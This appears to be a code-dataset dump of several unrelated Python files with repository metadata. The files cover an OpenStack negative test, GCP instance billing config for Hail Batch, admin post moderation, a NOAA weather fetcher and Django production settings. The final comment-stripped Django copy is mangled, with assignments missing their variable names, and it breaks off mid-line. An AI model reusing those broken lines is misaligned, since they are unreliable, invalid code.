@test.attr(type=['negative']) @test.idempotent_id('804b4fcb-bbf5-412f-925d-896672b61eb3') @test.services('network') def test_associate_ip_to_server_without_passing_floating_ip(self): self.assertRaises((lib_exc.NotFound, lib_exc.BadRequest), self.client.associate_floating_ip_to_server, '', self.server_id)
true
true
f71f04cf727d577cc22cb2ba39ff8a53f6e09d7c
6,354
py
Python
batch/batch/cloud/gcp/instance_config.py
jkgoodrich/hail
95ce1d792b553a5e97b390d349237a7ed86fbf98
[ "MIT" ]
null
null
null
batch/batch/cloud/gcp/instance_config.py
jkgoodrich/hail
95ce1d792b553a5e97b390d349237a7ed86fbf98
[ "MIT" ]
null
null
null
batch/batch/cloud/gcp/instance_config.py
jkgoodrich/hail
95ce1d792b553a5e97b390d349237a7ed86fbf98
[ "MIT" ]
null
null
null
from typing import List from ...driver.billing_manager import ProductVersions from ...instance_config import InstanceConfig from .resource_utils import family_worker_type_cores_to_gcp_machine_type, gcp_machine_type_to_parts from .resources import ( GCPComputeResource, GCPDynamicSizedDiskResource, GCPIPFeeResource, GCPMemoryResource, GCPResource, GCPServiceFeeResource, GCPStaticSizedDiskResource, gcp_resource_from_dict, ) GCP_INSTANCE_CONFIG_VERSION = 5 class GCPSlimInstanceConfig(InstanceConfig): @staticmethod def create( product_versions: ProductVersions, machine_type: str, preemptible: bool, local_ssd_data_disk: bool, data_disk_size_gb: int, boot_disk_size_gb: int, job_private: bool, location: str, ) -> 'GCPSlimInstanceConfig': # pylint: disable=unused-argument if local_ssd_data_disk: data_disk_resource = GCPStaticSizedDiskResource.create(product_versions, 'local-ssd', data_disk_size_gb) else: data_disk_resource = GCPStaticSizedDiskResource.create(product_versions, 'pd-ssd', data_disk_size_gb) machine_type_parts = gcp_machine_type_to_parts(machine_type) assert machine_type_parts is not None, machine_type instance_family = machine_type_parts.machine_family resources = [ GCPComputeResource.create(product_versions, instance_family, preemptible), GCPMemoryResource.create(product_versions, instance_family, preemptible), GCPStaticSizedDiskResource.create(product_versions, 'pd-ssd', boot_disk_size_gb), data_disk_resource, GCPDynamicSizedDiskResource.create(product_versions, 'pd-ssd'), GCPIPFeeResource.create(product_versions, 1024), GCPServiceFeeResource.create(product_versions), ] return GCPSlimInstanceConfig( machine_type=machine_type, preemptible=preemptible, local_ssd_data_disk=local_ssd_data_disk, data_disk_size_gb=data_disk_size_gb, boot_disk_size_gb=boot_disk_size_gb, job_private=job_private, resources=resources, ) def __init__( self, machine_type: str, preemptible: bool, local_ssd_data_disk: bool, data_disk_size_gb: int, boot_disk_size_gb: int, job_private: bool, resources: List[GCPResource], ): self.cloud = 'gcp' self._machine_type = machine_type self.preemptible = preemptible self.local_ssd_data_disk = local_ssd_data_disk self.data_disk_size_gb = data_disk_size_gb self.job_private = job_private self.boot_disk_size_gb = boot_disk_size_gb machine_type_parts = gcp_machine_type_to_parts(self._machine_type) assert machine_type_parts is not None, machine_type self._instance_family = machine_type_parts.machine_family self._worker_type = machine_type_parts.worker_type self.cores = machine_type_parts.cores self.resources = resources def worker_type(self) -> str: return self._worker_type @staticmethod def from_dict(data: dict) -> 'GCPSlimInstanceConfig': if data['version'] < 4: disks = data['disks'] assert len(disks) == 2, data assert disks[0]['boot'] boot_disk_size_gb = disks[0]['size'] assert not disks[1]['boot'] local_ssd_data_disk = disks[1]['type'] == 'local-ssd' data_disk_size_gb = disks[1]['size'] job_private = data['job-private'] preemptible = data['instance']['preemptible'] machine_type = family_worker_type_cores_to_gcp_machine_type( data['instance']['family'], data['instance']['type'], data['instance']['cores'], ) instance_family = data['instance']['family'] else: machine_type = data['machine_type'] preemptible = data['preemptible'] local_ssd_data_disk = data['local_ssd_data_disk'] data_disk_size_gb = data['data_disk_size_gb'] boot_disk_size_gb = data['boot_disk_size_gb'] job_private = data['job_private'] machine_type_parts = gcp_machine_type_to_parts(machine_type) assert machine_type_parts is not None, machine_type instance_family = machine_type_parts.machine_family resources = data.get('resources') if resources is None: assert data['version'] < 5, data preemptible_str = 'preemptible' if preemptible else 'nonpreemptible' if local_ssd_data_disk: data_disk_resource = GCPStaticSizedDiskResource('disk/local-ssd/1', data_disk_size_gb) else: data_disk_resource = GCPStaticSizedDiskResource('disk/pd-ssd/1', data_disk_size_gb) resources = [ GCPComputeResource(f'compute/{instance_family}-{preemptible_str}/1'), GCPMemoryResource(f'memory/{instance_family}-{preemptible_str}/1'), GCPStaticSizedDiskResource('disk/pd-ssd/1', boot_disk_size_gb), data_disk_resource, GCPDynamicSizedDiskResource('disk/pd-ssd/1'), GCPIPFeeResource('service-fee/1'), GCPServiceFeeResource('ip-fee/1024/1'), ] else: resources = [gcp_resource_from_dict(data) for data in resources] return GCPSlimInstanceConfig( machine_type, preemptible, local_ssd_data_disk, data_disk_size_gb, boot_disk_size_gb, job_private, resources, ) def to_dict(self) -> dict: return { 'version': GCP_INSTANCE_CONFIG_VERSION, 'cloud': 'gcp', 'machine_type': self._machine_type, 'preemptible': self.preemptible, 'local_ssd_data_disk': self.local_ssd_data_disk, 'data_disk_size_gb': self.data_disk_size_gb, 'boot_disk_size_gb': self.boot_disk_size_gb, 'job_private': self.job_private, 'resources': [resource.to_dict() for resource in self.resources], }
38.743902
116
0.645735
from typing import List from ...driver.billing_manager import ProductVersions from ...instance_config import InstanceConfig from .resource_utils import family_worker_type_cores_to_gcp_machine_type, gcp_machine_type_to_parts from .resources import ( GCPComputeResource, GCPDynamicSizedDiskResource, GCPIPFeeResource, GCPMemoryResource, GCPResource, GCPServiceFeeResource, GCPStaticSizedDiskResource, gcp_resource_from_dict, ) GCP_INSTANCE_CONFIG_VERSION = 5 class GCPSlimInstanceConfig(InstanceConfig): @staticmethod def create( product_versions: ProductVersions, machine_type: str, preemptible: bool, local_ssd_data_disk: bool, data_disk_size_gb: int, boot_disk_size_gb: int, job_private: bool, location: str, ) -> 'GCPSlimInstanceConfig': if local_ssd_data_disk: data_disk_resource = GCPStaticSizedDiskResource.create(product_versions, 'local-ssd', data_disk_size_gb) else: data_disk_resource = GCPStaticSizedDiskResource.create(product_versions, 'pd-ssd', data_disk_size_gb) machine_type_parts = gcp_machine_type_to_parts(machine_type) assert machine_type_parts is not None, machine_type instance_family = machine_type_parts.machine_family resources = [ GCPComputeResource.create(product_versions, instance_family, preemptible), GCPMemoryResource.create(product_versions, instance_family, preemptible), GCPStaticSizedDiskResource.create(product_versions, 'pd-ssd', boot_disk_size_gb), data_disk_resource, GCPDynamicSizedDiskResource.create(product_versions, 'pd-ssd'), GCPIPFeeResource.create(product_versions, 1024), GCPServiceFeeResource.create(product_versions), ] return GCPSlimInstanceConfig( machine_type=machine_type, preemptible=preemptible, local_ssd_data_disk=local_ssd_data_disk, data_disk_size_gb=data_disk_size_gb, boot_disk_size_gb=boot_disk_size_gb, job_private=job_private, resources=resources, ) def __init__( self, machine_type: str, preemptible: bool, local_ssd_data_disk: bool, data_disk_size_gb: int, boot_disk_size_gb: int, job_private: bool, resources: List[GCPResource], ): self.cloud = 'gcp' self._machine_type = machine_type self.preemptible = preemptible self.local_ssd_data_disk = local_ssd_data_disk self.data_disk_size_gb = data_disk_size_gb self.job_private = job_private self.boot_disk_size_gb = boot_disk_size_gb machine_type_parts = gcp_machine_type_to_parts(self._machine_type) assert machine_type_parts is not None, machine_type self._instance_family = machine_type_parts.machine_family self._worker_type = machine_type_parts.worker_type self.cores = machine_type_parts.cores self.resources = resources def worker_type(self) -> str: return self._worker_type @staticmethod def from_dict(data: dict) -> 'GCPSlimInstanceConfig': if data['version'] < 4: disks = data['disks'] assert len(disks) == 2, data assert disks[0]['boot'] boot_disk_size_gb = disks[0]['size'] assert not disks[1]['boot'] local_ssd_data_disk = disks[1]['type'] == 'local-ssd' data_disk_size_gb = disks[1]['size'] job_private = data['job-private'] preemptible = data['instance']['preemptible'] machine_type = family_worker_type_cores_to_gcp_machine_type( data['instance']['family'], data['instance']['type'], data['instance']['cores'], ) instance_family = data['instance']['family'] else: machine_type = data['machine_type'] preemptible = data['preemptible'] local_ssd_data_disk = data['local_ssd_data_disk'] data_disk_size_gb = data['data_disk_size_gb'] boot_disk_size_gb = data['boot_disk_size_gb'] job_private = data['job_private'] machine_type_parts = gcp_machine_type_to_parts(machine_type) assert machine_type_parts is not None, machine_type instance_family = machine_type_parts.machine_family resources = data.get('resources') if resources is None: assert data['version'] < 5, data preemptible_str = 'preemptible' if preemptible else 'nonpreemptible' if local_ssd_data_disk: data_disk_resource = GCPStaticSizedDiskResource('disk/local-ssd/1', data_disk_size_gb) else: data_disk_resource = GCPStaticSizedDiskResource('disk/pd-ssd/1', data_disk_size_gb) resources = [ GCPComputeResource(f'compute/{instance_family}-{preemptible_str}/1'), GCPMemoryResource(f'memory/{instance_family}-{preemptible_str}/1'), GCPStaticSizedDiskResource('disk/pd-ssd/1', boot_disk_size_gb), data_disk_resource, GCPDynamicSizedDiskResource('disk/pd-ssd/1'), GCPIPFeeResource('service-fee/1'), GCPServiceFeeResource('ip-fee/1024/1'), ] else: resources = [gcp_resource_from_dict(data) for data in resources] return GCPSlimInstanceConfig( machine_type, preemptible, local_ssd_data_disk, data_disk_size_gb, boot_disk_size_gb, job_private, resources, ) def to_dict(self) -> dict: return { 'version': GCP_INSTANCE_CONFIG_VERSION, 'cloud': 'gcp', 'machine_type': self._machine_type, 'preemptible': self.preemptible, 'local_ssd_data_disk': self.local_ssd_data_disk, 'data_disk_size_gb': self.data_disk_size_gb, 'boot_disk_size_gb': self.boot_disk_size_gb, 'job_private': self.job_private, 'resources': [resource.to_dict() for resource in self.resources], }
true
true
f71f053563ce5cd186a0f53cca0666f1cfc62e50
4,047
py
Python
apps/modules/post/process/adm_post.py
think-wang/osroom
67bb5bbd7a63fbaeb0d919738859444b54500152
[ "BSD-2-Clause" ]
null
null
null
apps/modules/post/process/adm_post.py
think-wang/osroom
67bb5bbd7a63fbaeb0d919738859444b54500152
[ "BSD-2-Clause" ]
null
null
null
apps/modules/post/process/adm_post.py
think-wang/osroom
67bb5bbd7a63fbaeb0d919738859444b54500152
[ "BSD-2-Clause" ]
null
null
null
# -*-coding:utf-8-*- from bson import ObjectId from flask import request from flask_babel import gettext from flask_login import current_user from apps.core.utils.get_config import get_config from apps.modules.message.process.user_message import insert_user_msg from apps.utils.format.obj_format import json_to_pyseq from apps.app import mdb_web from apps.modules.post.process.post_process import get_posts_pr, delete_post, get_post_pr __author__ = "Allen Woo" def adm_get_post(): data = {} post_id = request.argget.all('post_id') get_post_pr(post_id=post_id, is_admin=True) return data def adm_get_posts(): page = int(request.argget.all('page', 1)) pre = int(request.argget.all('pre', 10)) sort = json_to_pyseq(request.argget.all('sort')) status = request.argget.all('status', 'is_issued') matching_rec = request.argget.all('matching_rec') time_range = int(request.argget.all('time_range', 0)) keyword = request.argget.all('keyword','').strip() fields = json_to_pyseq(request.argget.all('fields')) unwanted_fields = json_to_pyseq(request.argget.all('unwanted_fields')) # 不能同时使用fields 和 unwanted_fields temp_field = {} if fields: for f in fields: temp_field[f] = 1 elif unwanted_fields: for f in unwanted_fields: temp_field[f] = 0 data = get_posts_pr(field=temp_field, page=page, pre=pre, sort=sort, status=status, time_range=time_range, matching_rec=matching_rec, keyword=keyword, is_admin=True) return data def adm_post_audit(): ids = json_to_pyseq(request.argget.all('ids', [])) score= int(request.argget.all("score", 0)) for i in range(0, len(ids)): ids[i] = ObjectId(ids[i]) r = mdb_web.db.post.update_many({"_id":{"$in":ids}}, {"$set":{"audited":1, "audit_score":score, "audit_way":"artificial", "audit_user_id":current_user.str_id}}) if r.modified_count: if score >= get_config("content_inspection", "ALLEGED_ILLEGAL_SCORE"): # 审核不通过,给用户通知 posts = mdb_web.db.post.find({"_id": {"$in": ids}}, {"user_id":1, "title":1, "_id":1, "audit_score":1}) for p in posts: insert_user_msg(user_id=p["user_id"], ctype="notice", label="audit_failure", title=gettext("Post allegedly violated"), content={"text": p["title"]}, target_id=str(p["_id"]), target_type="post") data = {"msg":gettext("Submitted successfully, {}").format(r.modified_count), "msg_type":"s", "http_status":201} else: data = {"msg":gettext("Submitted failed"), "msg_type":"w", "http_status":400} return data def adm_post_delete(): data = {} ids = json_to_pyseq(request.argget.all('ids', [])) pending_delete= int(request.argget.all("pending_delete", 1)) for i in range(0, len(ids)): ids[i] = ObjectId(ids[i]) if pending_delete: r = mdb_web.db.post.update_many({"_id":{"$in":ids}},{"$set":{"is_delete":3}}) if r.modified_count: data = {"msg":gettext("Move to a permanently deleted area, {}").format(r.modified_count), "msg_type":"s", "http_status":204} else: data = {"msg":gettext("No match to relevant data"), "msg_type":"w", "http_status":400} else: data = delete_post(ids=ids) return data def adm_post_restore(): ids = json_to_pyseq(request.argget.all('ids', [])) for i in range(0, len(ids)): ids[i] = ObjectId(ids[i]) r = mdb_web.db.post.update_many({"_id":{"$in":ids}, "is_delete":3},{"$set":{"is_delete":0}}) if r.modified_count: data = {"msg":gettext("Restore success, {}").format(r.modified_count), "msg_type":"s", "http_status":201} else: data = {"msg":gettext("No match to relevant data"), "msg_type":"w", "http_status":400} return data
37.12844
137
0.613541
from bson import ObjectId from flask import request from flask_babel import gettext from flask_login import current_user from apps.core.utils.get_config import get_config from apps.modules.message.process.user_message import insert_user_msg from apps.utils.format.obj_format import json_to_pyseq from apps.app import mdb_web from apps.modules.post.process.post_process import get_posts_pr, delete_post, get_post_pr __author__ = "Allen Woo" def adm_get_post(): data = {} post_id = request.argget.all('post_id') get_post_pr(post_id=post_id, is_admin=True) return data def adm_get_posts(): page = int(request.argget.all('page', 1)) pre = int(request.argget.all('pre', 10)) sort = json_to_pyseq(request.argget.all('sort')) status = request.argget.all('status', 'is_issued') matching_rec = request.argget.all('matching_rec') time_range = int(request.argget.all('time_range', 0)) keyword = request.argget.all('keyword','').strip() fields = json_to_pyseq(request.argget.all('fields')) unwanted_fields = json_to_pyseq(request.argget.all('unwanted_fields')) temp_field = {} if fields: for f in fields: temp_field[f] = 1 elif unwanted_fields: for f in unwanted_fields: temp_field[f] = 0 data = get_posts_pr(field=temp_field, page=page, pre=pre, sort=sort, status=status, time_range=time_range, matching_rec=matching_rec, keyword=keyword, is_admin=True) return data def adm_post_audit(): ids = json_to_pyseq(request.argget.all('ids', [])) score= int(request.argget.all("score", 0)) for i in range(0, len(ids)): ids[i] = ObjectId(ids[i]) r = mdb_web.db.post.update_many({"_id":{"$in":ids}}, {"$set":{"audited":1, "audit_score":score, "audit_way":"artificial", "audit_user_id":current_user.str_id}}) if r.modified_count: if score >= get_config("content_inspection", "ALLEGED_ILLEGAL_SCORE"): posts = mdb_web.db.post.find({"_id": {"$in": ids}}, {"user_id":1, "title":1, "_id":1, "audit_score":1}) for p in posts: insert_user_msg(user_id=p["user_id"], ctype="notice", label="audit_failure", title=gettext("Post allegedly violated"), content={"text": p["title"]}, target_id=str(p["_id"]), target_type="post") data = {"msg":gettext("Submitted successfully, {}").format(r.modified_count), "msg_type":"s", "http_status":201} else: data = {"msg":gettext("Submitted failed"), "msg_type":"w", "http_status":400} return data def adm_post_delete(): data = {} ids = json_to_pyseq(request.argget.all('ids', [])) pending_delete= int(request.argget.all("pending_delete", 1)) for i in range(0, len(ids)): ids[i] = ObjectId(ids[i]) if pending_delete: r = mdb_web.db.post.update_many({"_id":{"$in":ids}},{"$set":{"is_delete":3}}) if r.modified_count: data = {"msg":gettext("Move to a permanently deleted area, {}").format(r.modified_count), "msg_type":"s", "http_status":204} else: data = {"msg":gettext("No match to relevant data"), "msg_type":"w", "http_status":400} else: data = delete_post(ids=ids) return data def adm_post_restore(): ids = json_to_pyseq(request.argget.all('ids', [])) for i in range(0, len(ids)): ids[i] = ObjectId(ids[i]) r = mdb_web.db.post.update_many({"_id":{"$in":ids}, "is_delete":3},{"$set":{"is_delete":0}}) if r.modified_count: data = {"msg":gettext("Restore success, {}").format(r.modified_count), "msg_type":"s", "http_status":201} else: data = {"msg":gettext("No match to relevant data"), "msg_type":"w", "http_status":400} return data
true
true
f71f05a946b87cc6dad001f46064a2923b2dd621
2,720
py
Python
WeatherReader.py
pm3512/WeatherMonitor
64b9c3fd16c6813bdf39e32ec2cf384e9b5c7e96
[ "MIT" ]
null
null
null
WeatherReader.py
pm3512/WeatherMonitor
64b9c3fd16c6813bdf39e32ec2cf384e9b5c7e96
[ "MIT" ]
null
null
null
WeatherReader.py
pm3512/WeatherMonitor
64b9c3fd16c6813bdf39e32ec2cf384e9b5c7e96
[ "MIT" ]
null
null
null
import json import requests import os from dotenv import load_dotenv import datetime load_dotenv() batch_size = 130 def get_raw_weather(ids, start_date, end_date): request_ids = '&stationid='.join(id for id in ids) return requests.get('https://www.ncdc.noaa.gov/cdo-web/api/v2/data?datasetid=GHCND&stationid=' + request_ids + '&startdate=' + start_date + '&enddate=' + end_date + '&limit=1000', headers={'token': os.getenv('NOAA_TOKEN')}) def get_weather(stations, start_date, end_date): raw_weather = get_raw_weather([station['id'] for station in stations], start_date, end_date) if raw_weather.status_code == 429: print('No requests left!') return None if raw_weather.status_code != 200: print('Some problems, status code {}'.format(raw_weather.status_code)) return None raw_weather = raw_weather.json() if(raw_weather == {}): return {} processed_weather = {station['id']: {'latitude': station['latitude'], 'longitude': station['longitude'], 'elevation': station['elevation']} for station in stations} for measurement in raw_weather['results']: processed_weather[measurement['station']][measurement['datatype']] = measurement['value'] return {station: measurements for station, measurements in processed_weather.items() if len(measurements) > 3} def get_weather_for_all_stations(date): offset = 0 all_weather = {} with open('StationsForMeasurement.json', 'r') as read_file: stations = json.load(read_file) with open('Measurements/' + date + '.json', 'w') as write_file: write_file.truncate(0) while offset < len(stations): try: weather = get_weather(stations[offset: offset + batch_size], date, date) if weather == None: return False all_weather.update(weather) except Exception as e: print(e) if type(e) == KeyboardInterrupt: exit() offset += batch_size print(str(round(min(offset / len(stations) * 100, 100), 1)) + "% complete") json.dump(all_weather, write_file, indent=2) write_file.close() read_file.close() return True def get_weather_ALAP(start_date): can_get_more = True cur_date = datetime.datetime.strptime(start_date, '%Y-%m-%d') while can_get_more: print('Processing ' + cur_date.strftime('%Y-%m-%d')) can_get_more = get_weather_for_all_stations(cur_date.strftime('%Y-%m-%d')) cur_date += datetime.timedelta(days=-1) get_weather_ALAP('2019-02-13')
40
168
0.627206
import json import requests import os from dotenv import load_dotenv import datetime load_dotenv() batch_size = 130 def get_raw_weather(ids, start_date, end_date): request_ids = '&stationid='.join(id for id in ids) return requests.get('https://www.ncdc.noaa.gov/cdo-web/api/v2/data?datasetid=GHCND&stationid=' + request_ids + '&startdate=' + start_date + '&enddate=' + end_date + '&limit=1000', headers={'token': os.getenv('NOAA_TOKEN')}) def get_weather(stations, start_date, end_date): raw_weather = get_raw_weather([station['id'] for station in stations], start_date, end_date) if raw_weather.status_code == 429: print('No requests left!') return None if raw_weather.status_code != 200: print('Some problems, status code {}'.format(raw_weather.status_code)) return None raw_weather = raw_weather.json() if(raw_weather == {}): return {} processed_weather = {station['id']: {'latitude': station['latitude'], 'longitude': station['longitude'], 'elevation': station['elevation']} for station in stations} for measurement in raw_weather['results']: processed_weather[measurement['station']][measurement['datatype']] = measurement['value'] return {station: measurements for station, measurements in processed_weather.items() if len(measurements) > 3} def get_weather_for_all_stations(date): offset = 0 all_weather = {} with open('StationsForMeasurement.json', 'r') as read_file: stations = json.load(read_file) with open('Measurements/' + date + '.json', 'w') as write_file: write_file.truncate(0) while offset < len(stations): try: weather = get_weather(stations[offset: offset + batch_size], date, date) if weather == None: return False all_weather.update(weather) except Exception as e: print(e) if type(e) == KeyboardInterrupt: exit() offset += batch_size print(str(round(min(offset / len(stations) * 100, 100), 1)) + "% complete") json.dump(all_weather, write_file, indent=2) write_file.close() read_file.close() return True def get_weather_ALAP(start_date): can_get_more = True cur_date = datetime.datetime.strptime(start_date, '%Y-%m-%d') while can_get_more: print('Processing ' + cur_date.strftime('%Y-%m-%d')) can_get_more = get_weather_for_all_stations(cur_date.strftime('%Y-%m-%d')) cur_date += datetime.timedelta(days=-1) get_weather_ALAP('2019-02-13')
true
true
f71f05d3643b66a85749a7d0e9c6270f4abb6a4d
8,454
py
Python
config/settings/production.py
dl0312/nomadgram
babec04ffa471a94499dbb2bd13ca5b832451599
[ "MIT" ]
null
null
null
config/settings/production.py
dl0312/nomadgram
babec04ffa471a94499dbb2bd13ca5b832451599
[ "MIT" ]
6
2020-06-05T17:02:46.000Z
2022-03-08T22:50:11.000Z
config/settings/production.py
dl0312/nomadgram
babec04ffa471a94499dbb2bd13ca5b832451599
[ "MIT" ]
null
null
null
import logging from .base import * # noqa from .base import env # GENERAL # ------------------------------------------------------------------------------ # https://docs.djangoproject.com/en/dev/ref/settings/#secret-key SECRET_KEY = env('DJANGO_SECRET_KEY') # https://docs.djangoproject.com/en/dev/ref/settings/#allowed-hosts ALLOWED_HOSTS = env.list('DJANGO_ALLOWED_HOSTS', default=['geonlee.co']) # DATABASES # ------------------------------------------------------------------------------ DATABASES['default'] = env.db('DATABASE_URL') # noqa F405 DATABASES['default']['ATOMIC_REQUESTS'] = True # noqa F405 DATABASES['default']['CONN_MAX_AGE'] = env.int('CONN_MAX_AGE', default=60) # noqa F405 # CACHES # ------------------------------------------------------------------------------ CACHES = { 'default': { 'BACKEND': 'django_redis.cache.RedisCache', 'LOCATION': f'{env("REDIS_URL", default="redis://127.0.0.1:6379")}/{0}', 'OPTIONS': { 'CLIENT_CLASS': 'django_redis.client.DefaultClient', # Mimicing memcache behavior. # http://niwinz.github.io/django-redis/latest/#_memcached_exceptions_behavior 'IGNORE_EXCEPTIONS': True, } } } # SECURITY # ------------------------------------------------------------------------------ # https://docs.djangoproject.com/en/dev/ref/settings/#secure-proxy-ssl-header SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https') # https://docs.djangoproject.com/en/dev/ref/settings/#secure-ssl-redirect SECURE_SSL_REDIRECT = env.bool('DJANGO_SECURE_SSL_REDIRECT', default=True) # https://docs.djangoproject.com/en/dev/ref/settings/#session-cookie-secure SESSION_COOKIE_SECURE = True # https://docs.djangoproject.com/en/dev/ref/settings/#session-cookie-httponly SESSION_COOKIE_HTTPONLY = True # https://docs.djangoproject.com/en/dev/ref/settings/#csrf-cookie-secure CSRF_COOKIE_SECURE = True # https://docs.djangoproject.com/en/dev/ref/settings/#csrf-cookie-httponly CSRF_COOKIE_HTTPONLY = True # https://docs.djangoproject.com/en/dev/topics/security/#ssl-https # https://docs.djangoproject.com/en/dev/ref/settings/#secure-hsts-seconds # TODO: set this to 60 seconds first and then to 518400 once you prove the former works SECURE_HSTS_SECONDS = 60 # https://docs.djangoproject.com/en/dev/ref/settings/#secure-hsts-include-subdomains SECURE_HSTS_INCLUDE_SUBDOMAINS = env.bool('DJANGO_SECURE_HSTS_INCLUDE_SUBDOMAINS', default=True) # https://docs.djangoproject.com/en/dev/ref/settings/#secure-hsts-preload SECURE_HSTS_PRELOAD = env.bool('DJANGO_SECURE_HSTS_PRELOAD', default=True) # https://docs.djangoproject.com/en/dev/ref/middleware/#x-content-type-options-nosniff SECURE_CONTENT_TYPE_NOSNIFF = env.bool('DJANGO_SECURE_CONTENT_TYPE_NOSNIFF', default=True) # https://docs.djangoproject.com/en/dev/ref/settings/#secure-browser-xss-filter SECURE_BROWSER_XSS_FILTER = True # https://docs.djangoproject.com/en/dev/ref/settings/#x-frame-options X_FRAME_OPTIONS = 'DENY' # STORAGES # ------------------------------------------------------------------------------ # https://django-storages.readthedocs.io/en/latest/#installation INSTALLED_APPS += ['storages'] # noqa F405 # https://django-storages.readthedocs.io/en/latest/backends/amazon-S3.html#settings AWS_ACCESS_KEY_ID = env('DJANGO_AWS_ACCESS_KEY_ID') # https://django-storages.readthedocs.io/en/latest/backends/amazon-S3.html#settings AWS_SECRET_ACCESS_KEY = env('DJANGO_AWS_SECRET_ACCESS_KEY') # https://django-storages.readthedocs.io/en/latest/backends/amazon-S3.html#settings AWS_STORAGE_BUCKET_NAME = env('DJANGO_AWS_STORAGE_BUCKET_NAME') # https://django-storages.readthedocs.io/en/latest/backends/amazon-S3.html#settings AWS_AUTO_CREATE_BUCKET = True # https://django-storages.readthedocs.io/en/latest/backends/amazon-S3.html#settings AWS_QUERYSTRING_AUTH = False # DO NOT change these unless you know what you're doing. _AWS_EXPIRY = 60 * 60 * 24 * 7 # https://django-storages.readthedocs.io/en/latest/backends/amazon-S3.html#settings AWS_S3_OBJECT_PARAMETERS = { 'CacheControl': f'max-age={_AWS_EXPIRY}, s-maxage={_AWS_EXPIRY}, must-revalidate', } # STATIC # ------------------------ STATICFILES_STORAGE = 'config.settings.production.StaticRootS3BotoStorage' STATIC_URL = 'https://s3.amazonaws.com/%s/static/' % AWS_STORAGE_BUCKET_NAME # MEDIA # ------------------------------------------------------------------------------ # region http://stackoverflow.com/questions/10390244/ from storages.backends.s3boto3 import S3Boto3Storage StaticRootS3BotoStorage = lambda: S3Boto3Storage(location='static') # noqa MediaRootS3BotoStorage = lambda: S3Boto3Storage(location='media', file_overwrite=False) # noqa # endregion DEFAULT_FILE_STORAGE = 'config.settings.production.MediaRootS3BotoStorage' MEDIA_URL = f'https://s3.amazonaws.com/{AWS_STORAGE_BUCKET_NAME}/media/' # TEMPLATES # ------------------------------------------------------------------------------ # https://docs.djangoproject.com/en/dev/ref/settings/#templates TEMPLATES[0]['OPTIONS']['loaders'] = [ # noqa F405 ( 'django.template.loaders.cached.Loader', [ 'django.template.loaders.filesystem.Loader', 'django.template.loaders.app_directories.Loader', ] ), ] # EMAIL # ------------------------------------------------------------------------------ # https://docs.djangoproject.com/en/dev/ref/settings/#default-from-email DEFAULT_FROM_EMAIL = env( 'DJANGO_DEFAULT_FROM_EMAIL', default='Nomadgram <noreply@geonlee.co>' ) # https://docs.djangoproject.com/en/dev/ref/settings/#server-email SERVER_EMAIL = env('DJANGO_SERVER_EMAIL', default=DEFAULT_FROM_EMAIL) # https://docs.djangoproject.com/en/dev/ref/settings/#email-subject-prefix EMAIL_SUBJECT_PREFIX = env('DJANGO_EMAIL_SUBJECT_PREFIX', default='[Nomadgram]') # ADMIN # ------------------------------------------------------------------------------ # Django Admin URL regex. ADMIN_URL = env('DJANGO_ADMIN_URL') # Anymail (Mailgun) # ------------------------------------------------------------------------------ # https://anymail.readthedocs.io/en/stable/installation/#installing-anymail INSTALLED_APPS += ['anymail'] # noqa F405 EMAIL_BACKEND = 'anymail.backends.mailgun.EmailBackend' # https://anymail.readthedocs.io/en/stable/installation/#anymail-settings-reference ANYMAIL = { 'MAILGUN_API_KEY': env('MAILGUN_API_KEY'), 'MAILGUN_SENDER_DOMAIN': env('MAILGUN_DOMAIN') } # Gunicorn # ------------------------------------------------------------------------------ INSTALLED_APPS += ['gunicorn'] # noqa F405 # Collectfast # ------------------------------------------------------------------------------ # https://github.com/antonagestam/collectfast#installation INSTALLED_APPS = ['collectfast'] + INSTALLED_APPS # noqa F405 AWS_PRELOAD_METADATA = True # LOGGING # ------------------------------------------------------------------------------ # See: https://docs.djangoproject.com/en/dev/ref/settings/#logging # A sample logging configuration. The only tangible logging # performed by this configuration is to send an email to # the site admins bon every HTTP 500 error when DEBUG=False. # See https://docs.djangoproject.com/en/dev/topics/logging for # more details on how to customize your logging configuration. LOGGING = { 'version': 1, 'disable_existing_loggers': False, 'filters': { 'require_debug_false': { '()': 'django.utils.log.RequireDebugFalse' } }, 'formatters': { 'verbose': { 'format': '%(levelname)s %(asctime)s %(module)s ' '%(process)d %(thread)d %(message)s' }, }, 'handlers': { 'mail_admins': { 'level': 'ERROR', 'filters': ['require_debug_false'], 'class': 'django.utils.log.AdminEmailHandler' }, 'console': { 'level': 'DEBUG', 'class': 'logging.StreamHandler', 'formatter': 'verbose', }, }, 'loggers': { 'django.request': { 'handlers': ['mail_admins'], 'level': 'ERROR', 'propagate': True }, 'django.security.DisallowedHost': { 'level': 'ERROR', 'handlers': ['console', 'mail_admins'], 'propagate': True } } } # Your stuff... # ------------------------------------------------------------------------------
41.64532
96
0.61876
import logging from .base import * from .base import env = env('DJANGO_SECRET_KEY') = env.list('DJANGO_ALLOWED_HOSTS', default=['geonlee.co']) DATABASES['default'] = env.db('DATABASE_URL') DATABASES['default']['ATOMIC_REQUESTS'] = True DATABASES['default']['CONN_MAX_AGE'] = env.int('CONN_MAX_AGE', default=60) CACHES = { 'default': { 'BACKEND': 'django_redis.cache.RedisCache', 'LOCATION': f'{env("REDIS_URL", default="redis://127.0.0.1:6379")}/{0}', 'OPTIONS': { 'CLIENT_CLASS': 'django_redis.client.DefaultClient', ': True, } } } = ('HTTP_X_FORWARDED_PROTO', 'https') = env.bool('DJANGO_SECURE_SSL_REDIRECT', default=True) = True = True = True = True env.bool('DJANGO_SECURE_HSTS_INCLUDE_SUBDOMAINS', default=True) = env.bool('DJANGO_SECURE_HSTS_PRELOAD', default=True) env.bool('DJANGO_SECURE_CONTENT_TYPE_NOSNIFF', default=True) = True = 'DENY' PS += ['storages'] SS_KEY_ID = env('DJANGO_AWS_ACCESS_KEY_ID') ET_ACCESS_KEY = env('DJANGO_AWS_SECRET_ACCESS_KEY') AGE_BUCKET_NAME = env('DJANGO_AWS_STORAGE_BUCKET_NAME') _CREATE_BUCKET = True YSTRING_AUTH = False _AWS_EXPIRY = 60 * 60 * 24 * 7 # https://django-storages.readthedocs.io/en/latest/backends/amazon-S3.html#settings AWS_S3_OBJECT_PARAMETERS = { 'CacheControl': f'max-age={_AWS_EXPIRY}, s-maxage={_AWS_EXPIRY}, must-revalidate', } # STATIC # ------------------------ STATICFILES_STORAGE = 'config.settings.production.StaticRootS3BotoStorage' STATIC_URL = 'https://s3.amazonaws.com/%s/static/' % AWS_STORAGE_BUCKET_NAME # MEDIA # ------------------------------------------------------------------------------ # region http://stackoverflow.com/questions/10390244/ from 